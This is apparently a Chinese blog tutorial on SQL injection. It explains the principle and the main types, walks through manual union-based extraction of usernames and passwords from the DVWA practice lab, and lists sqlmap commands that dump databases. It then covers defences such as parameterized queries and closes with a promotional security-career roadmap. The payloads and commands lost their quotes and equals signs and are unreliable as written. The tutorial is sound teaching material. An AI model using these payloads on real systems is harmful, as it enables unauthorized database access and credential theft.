SQL注入SQL Injection是OWASP Top10排名第一的Web漏洞也是渗透测试中最常见、最容易利用的漏洞之一。很多新手只会用sqlmap一键脱库却不知道SQL注入的原理是什么今天就从原理入手一文吃透SQL注入让你不仅会用还能理解为什么这么用。一、SQL注入漏洞原理核心必懂SQL注入的本质开发者在编写SQL语句时未对用户输入的参数进行严格过滤导致用户输入的恶意SQL语句被当作合法SQL语句执行从而获取数据库中的敏感信息甚至控制服务器。举个最简单的例子新手必看假设后台登录的SQL语句如下未过滤用户输入select*fromuserswhereusername$_POST[username]andpassword$_POST[password]当用户输入用户名admin or 11 --密码任意此时SQL语句会被拼接为select*fromuserswhereusernameadminor11-- and password任意密码解析or 11表示条件永远成立--表示注释后面的SQL语句因此这条SQL语句会查询出所有用户信息从而绕过登录验证成功登录后台。二、SQL注入漏洞分类按注入方式划分重点掌握3类1. 按参数类型分类字符型注入参数为字符串类型如username、title注入时需要用单引号、双引号闭合如上面的例子数字型注入参数为数字类型如id、page注入时无需闭合引号直接拼接SQL语句如id1 or 11。2. 按注入方式分类重点掌握3类报错注入通过构造恶意SQL语句使数据库报错从而获取数据库信息如版本、库名、表名常用函数updatexml()、extractvalue()、floor()等示例id1 and updatexml(1,concat(0x7e,database(),0x7e),1) --获取数据库名。联合查询注入使用union select语句拼接查询语句获取数据库中的敏感信息最常用适合有回显的场景前提前后查询的字段数一致示例id1 union select 1,database(),user() --获取数据库名和当前用户。盲注没有回显信息通过判断条件的真假逐步猜解数据库信息适合无回显的场景分类布尔盲注判断真假、时间盲注通过延迟判断示例时间盲注id1 and if(length(database())5,sleep(5),1) --判断数据库名长度是否为5若是则延迟5秒。三、SQL注入实战利用手动注入sqlmap自动化结合使用1. 手动注入理解原理必练以DVWA low级别SQL注入为例手动注入步骤判断是否存在注入点输入1报错说明存在字符型注入判断字段数输入1 order by 3 --报错1 order by 2 --正常说明字段数为2获取数据库名输入1 union select 1,database() --得到数据库名dvwa获取表名输入1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa --得到表名users获取字段名输入1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers --得到字段名username、password获取数据输入1 union select group_concat(username),group_concat(password) from users --得到所有账号密码。2. sqlmap自动化注入高效快捷实战常用手动注入效率低实战中常用sqlmap一键脱库核心命令检测注入点sqlmap -u http://xxx/vulnerabilities/sqli/?id1SubmitSubmit --dbs同时检测注入点并列出所有数据库脱库指定数据库sqlmap -u http://xxx/vulnerabilities/sqli/?id1SubmitSubmit -D dvwa --tables列出dvwa数据库的所有表获取表中数据sqlmap -u http://xxx/vulnerabilities/sqli/?id1SubmitSubmit -D dvwa -T users --columns列出users表的所有字段导出数据sqlmap -u http://xxx/vulnerabilities/sqli/?id1SubmitSubmit -D dvwa -T users -C username,password --dump导出username和password字段的数据。四、SQL注入漏洞防御方案企业级重点防御SQL注入的核心是“过滤用户输入”推荐4种企业级防御方案从易到难输入过滤对用户输入的参数进行严格过滤禁止特殊字符如’、、or、and、–等或对特殊字符进行转义使用参数化查询预编译SQL这是最有效的防御方式将SQL语句和参数分开参数不会被当作SQL语句执行如Java的PreparedStatement、PHP的PDO权限最小化数据库账号仅授予必要权限禁止使用root、sa等超级管理员账号连接网站开启WAF防护部署Web应用防火墙WAF自动拦截SQL注入等恶意请求定期更新WAF规则应对新的注入方式。总结SQL注入漏洞的核心是“输入未过滤”新手学习时不要只记命令要理解注入原理和拼接逻辑这样才能应对不同场景的注入漏洞。同时防御SQL注入也不是单一方法需要结合输入过滤、参数化查询、权限控制等多种方式才能彻底杜绝漏洞。网络安全的知识多而杂怎么科学合理安排下面给大家总结了一套适用于网安零基础的学习路线应届生和转行人员都适用学完保底6k就算你底子差如果能趁着网安良好的发展势头不断学习日后跳槽大厂、拿到百万年薪也不是不可能初级网工1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗【“脚本小子”成长进阶资源领取】7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级网工这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。感兴趣的童鞋可以研究一下不懂得地方可以【点这里】加我耗油跟我学习交流一下。网络安全工程师企业级学习路线如图片过大被平台压缩导致看不清的话可以【点这里】加我耗油发给你大家也可以一起学习交流一下。一些我自己买的、其他平台白嫖不到的视频教程需要的话可以扫描下方卡片加我耗油发给你都是无偿分享的大家也可以一起学习交流一下。结语网络安全产业就像一个江湖各色人等聚集。相对于欧美国家基础扎实懂加密、会防护、能挖洞、擅工程的众多名门正派我国的人才更多的属于旁门左道很多白帽子可能会不服气因此在未来的人才培养和建设上需要调整结构鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”才能解人才之渴真正的为社会全面互联网化提供安全保障。特别声明此教程为纯技术分享本书的目的决不是为那些怀有不良动机的人提供及技术支持也不承担因为技术被滥用所产生的连带责任本书的目的在于最大限度地唤醒大家对网络安全的重视并采取相应的安全措施从而减少由网络安全而带来的经济损失